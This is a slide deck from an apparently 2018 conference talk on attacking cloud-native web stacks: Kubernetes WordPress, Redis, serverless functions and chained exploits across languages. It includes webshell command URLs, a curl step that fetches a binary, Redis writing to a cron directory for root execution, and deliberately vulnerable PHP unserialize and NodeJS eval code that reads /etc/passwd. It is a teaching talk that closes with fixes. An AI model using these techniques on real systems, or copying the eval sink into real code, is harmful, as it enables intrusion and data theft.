64
Oh.. You got this? Attack the modern web

web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

  • Upload
    others

  • View
    3

  • Download
    0

Embed Size (px)

Citation preview

Page 1: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Oh.. You got this?

Attack the modern

web

Page 2: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

2

HELLO DENVER!

...Known for more than

recreational … stuff

Page 3: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

© 2018 Moses Frost. @mosesrenegade

WARNINGThis talk may contain comments or opinions that at times may differ with those of cisco systems. The views expressed here do not necessarily reflect those of cisco systems. Audience discretion is advised.

IDK

Page 4: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

$~>./whoami

Moses FrostWork [at] Cisco, Teach/ [at] SANS, Blog [at]

renegade.blogOn the socialz: @mosesrenegade

4

Page 5: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

$~>./whoami

Moses FrostWork [at] Cisco, Teach/ [at] SANS, Blog [at]

renegade.blogOn the socialz: @mosesrenegade

5

Page 6: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

WHY ARE WE HERE?

Page 7: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

The ‘stack’ is changing

Page 8: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

The ‘stack’ is changingxHAS

Page 9: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Yes

Page 10: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

My Motivation?

Page 11: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware
Page 12: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

talk journey

12

How did we

get here?

Page 13: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

1.

h’oK Define:

What makes up a modern web stack.

13

Page 14: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

“Cloud Native"

What is this?

14

Page 15: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Cloud Native Charter

✘ Container Packaged Applications✘ Dynamically Managed✘ Micro-services oriented

Probably a decent foundation to build from

15

Page 16: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Cloud Native Charter

✘ Container Packaged Applications✘ Dynamically Managed✘ Micro-services oriented

Probably a decent foundation to build from

16

Page 17: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Cloud Native Charter

✘ Container Packaged Applications✘ Dynamically Managed✘ Micro-services oriented

Probably a decent foundation to build from

17

Page 18: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

talk journey

18

Let’s talk Service Meshes

How did we

get here?

Page 19: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

talk journey

19

Let’s talk Service Meshes

How did we

get here?

x

Page 20: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

2.

WordPress == ‘Hello

World’; of Exploitation

True Story

20

Page 21: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Kubernetes Deployment:

Wordpress

./kubectl

*I want a new service ‘mesh’

Page 22: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Kubernetes Deployment:

Wordpress

./kubectl

*I want a new service ‘mesh’

GKE: Ok. Time to make the donuts.

Page 23: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Kubernetes Deployment:

Wordpress

./kubectl

*I want a new service ‘mesh’

GKE: Ok. Time to make the donuts.

23

‘‘Compute engines”

Page 24: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Kubernetes Deployment:

Wordpress

24

./kubectl

*I want a new service ‘mesh’

GKE: Ok. Time to make the donuts.

‘‘Compute engines”

“Service Orchestration”

‘wordpress’

‘mysql’’

Page 25: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Kubernetes Deployment:

Wordpress

25

./kubectl

*I want a new service ‘mesh’

GKE: Ok. Time to make the donuts.

‘‘Compute engines”

“Service Orchestration”

‘wordpress’

‘mysql’’

Let me break this down.

Page 26: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Kubernetes Deployment:

Wordpress

26

But what the f*!@ is rest of this?!

Page 27: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Kubernetes Deployment:

Wordpress

27

But what the f*!@ is rest of this?!

Page 28: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Some architecture love

Docker:

- Namespaces and Cgroups in linux

- Windows supports docker as well

- Not the only container runtime

- “Pause Container”- Namespaces

cannot talk to each other without having a common PARENT

- Pause is the parent

Kubernetes:

- Portable Container Orchestration Environment

- Orchestration for containers

- More than just docker compose

Services:

- RBAC is a new feature- RBAC restricts

what you can see.- “Service discovery”

- gRPC- DNS

- Proxy and obfuscation- Hides servers- Move Workloads

28

Page 29: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Containers

You want to deploy your application BUT:

- How do you update it?- What if the host crashes?- How do you scale?- How do you share between

containers?- … etc

Service Mesh

Mesh

Gives you the ability to orchestrate items

- Can give you capability to move containers

- Restart apps- Upgrade with circuit breaking- Share Resources between disparate

containers, etc etc etc- Can be a ‘proxy’ or a sidecar

29

Page 30: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Example of a kubernetes engine (GCE)

30

Page 31: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

talk journey

31

Let’s talk Service Meshes

How did we

get here?

Wordpress Demo

Page 32: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

A word on demos

- Starting with ‘Easy’ mode. - Using a common framework and go

from here- The language and framework is

mostly IRRELEVANT.

\

32

Page 33: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Easy Mode What Works: Let’s attack wordpress

Scenario:

- Attacker see’s a wordpress site and gains access to the site.

- Gets a php webshell to work.- First thing to note is completely

missing binaries- curl may be installed- other binaries not

- curl facilitates bringing down of more binaries

Example:

http://example/index.php?backdoor=1&cmd=’ls’

Works:

http://example/index.php?backdoor=1&cmd=which+curl

Does NOT work:

http://example/index.php?backdoor=1&cmd=which+nc

33

Page 34: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

DEMO

34

Page 35: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

takeaway?

Not all binaries are here.No … netcat? I’ll bring my own … curl? I’ll bring my own … bash? I’ll bring my ownHave execve()? Yes, BYO../kubectl (yes)

35

Page 36: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

kubectl is portable

kubectl ….curl $url; chmod a+x ./kubectl; mv ./kubectl /usr/local/bin/kubectl----The ‘secured’ way:Error from server (Forbidden): nodes is forbidden: User "system:serviceaccount:default:default" cannot list nodes at the cluster scope: Unknown user "system:serviceaccount:default:default"

36

Page 37: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

talk journey

37

Let’s talk Service Meshes

How did we

get here?

Wordpress Demo Microservices

Page 38: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

The ‘app’ changes

Page 39: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

App

- Twitter App- Create User - User gets an email (email

function in app)- User Logs in- User now can tweet- User tweets

Before Microservices

39

“App”

function user()

function mail()

function tweet()

Page 40: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

App 1

- Twitter App- Create User

App 2

- Email Worker - User gets an email (email

function in app)

App 3

- Tweet Worker

Microservices

40

“App”

function user()

“App”

function tweet()

“App”

function mail()

Page 41: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

New Problem

state/variables/etc

Page 42: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

App 1

- Twitter App- Create User

App 2

- Email Worker - User gets an email (email

function in app)

App 3

- Tweet Worker

Microservices

42

“App”

function user()

“App”

function tweet()

“App”

function mail()

Redis?

Page 43: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Thoughts on exploitation

Apps must share ‘data’ between them

‘In memory databases’ make this convenient.

Can be a conduit for exfil and other issues.

Can you ‘egress’ out of redis store?

Can you ‘ingress’ to the store?

Change values?

4343

“App”

function user()

“App”

function tweet()

“App”

function mail()

Redis?

443

/exploit?payload

6379

SLAVE OF x.x.xx.

Page 44: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

The redis story

Page 45: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

On the GWPN Mailing List

Question:

Can anyone explain with detail, how code contained within a KEY in a Redis database exposed to the internet, can be executed?

4545

“App”

function user()

“App”

function tweet()

“App”

function mail()

Redis?

6379

Open Port?

Page 46: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

On the GWPN Mailing List

Answer:

Turn outs redis can WRITE TO DISK.

4646

“App”

function user()

“App”

function tweet()

“App”

function mail()

Redis?

6379

Open Port?

Page 47: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

On the GWPN Mailing List

Answer:

Turn outs redis can WRITE TO DISK.

And the directory can be set to /var/spool/cron

4747

“App”

function user()

“App”

function tweet()

“App”

function mail()

Redis?

6379

Open Port?

Page 48: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

On the GWPN Mailing List

Answer:

Turn outs redis can WRITE TO DISK.

And the directory can be set to /var/spool/cron

And executes as root.

4848

“App”

function user()

“App”

function tweet()

“App”

function mail()

Redis?

6379

Open Port?

Page 49: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

4.

Serverless’s’s

Wat Server?

49

Page 50: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

talk journey

50

Let’s talk Service Meshes

How did we

get here?

Wordpress Demo Microservices

Serverless

Page 51: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

No servers needed

Page 52: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

“Serverless”

Build an app without worrying about OS, or Server or Anything. It’s just a function.AWS Lamba, Google Function… Google App Engine? (sort of)

52

Page 53: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Example architecture

53

MV* App Serverless Function

Cloud Storage

Voice Input

Page 54: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Lambda/GCE/Azure Function Example

NodeJS based for the most part.

- NodeJS Infrastructure provided ‘for you’

- Develop a single function- Or bring multiple functions- Set your own node build.

- Great for simple eventing.

Develop your own bugs also.

Can hide ‘functions’ from the public so that your ‘server’ only see’s it.

BYO-Bugs.

54

Page 55: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

DEMO

55

Page 56: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Let’s go back to: Mesh

5656

./kubectl

*I want a new service ‘mesh’

GKE: Ok. Time to make the donuts.

‘‘Compute engines”

“Service Orchestration”

‘wordpress’

‘mysql’’

Let me break this down.

Page 57: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Imagine Chaining

5757

front-door

other-microservice

Cloud Function

Language 1:

Exploit 1

main url = ?ser=...

Language 2

Exploit 2

payload to attack

Page 58: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Polyglot exploits

Language A: PHP (ObjSerialization)

class obj_example { public $url = ‘www.google.com’;

function __construct() {

}

}

$obj = base64_decode(unserialize($_GET[‘ser’]))

Language B: NodeJS (RCE/ETC)

exports.helloWhat = (req, res) => {

let message = req.query.message || req.body.message || 'Hello World!';

res.status(200).send(message + eval(req.query.q));

};

Chained Exploits:

PHP Obj ->

Deserialized Overwrite php $url variable

Pass to some library

New base64 string will get unwound to -> requests

Triggers isolated Nodejs SSRF

… More chained langauge exploits.

58

Page 59: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

59

Visualize

5959

Deserialize Obj

Overwrite URL

Call curl

Serverless Call

Read /etc/passwd

Return /etc/passwd

Page 60: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

DEMO

60

Page 61: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

“Ok we are all doomed and everyone is going to die.

61

Page 62: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

“No

62

Page 63: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Problems found. Problems Fixed

Docker Escape

- Dirty Cow exploit- Speculative Execution

These are definitely out of our direct control.

- Unless your a kernel/hardware dev.

Kubernetes Exploit / Abuse

- v1.7 and below - Can read

kubernetes API- Can use kubectl- Can read other

systems- RBAC has solved many of

these issues…- .. Mostly by default, so

research continues to how many are still affected.

Chaining Exploits and other issues:

- Input == dangerous- Exploitation is REALLY

tricky.- For example:- Nodejs

eval(2+2);

//String 2+2

eval(‘2+2’);

//4

Makes eval hard/safe between languages.

63

Page 64: web Attack the modern Oh.. You got this?...Docker Escape - Dirty Cow exploit - Speculative Execution These are definitely out of our direct control. - Unless your a kernel/hardware

Post-Modern Web Attacks

An evolving talk series

You can find me at@[email protected]

64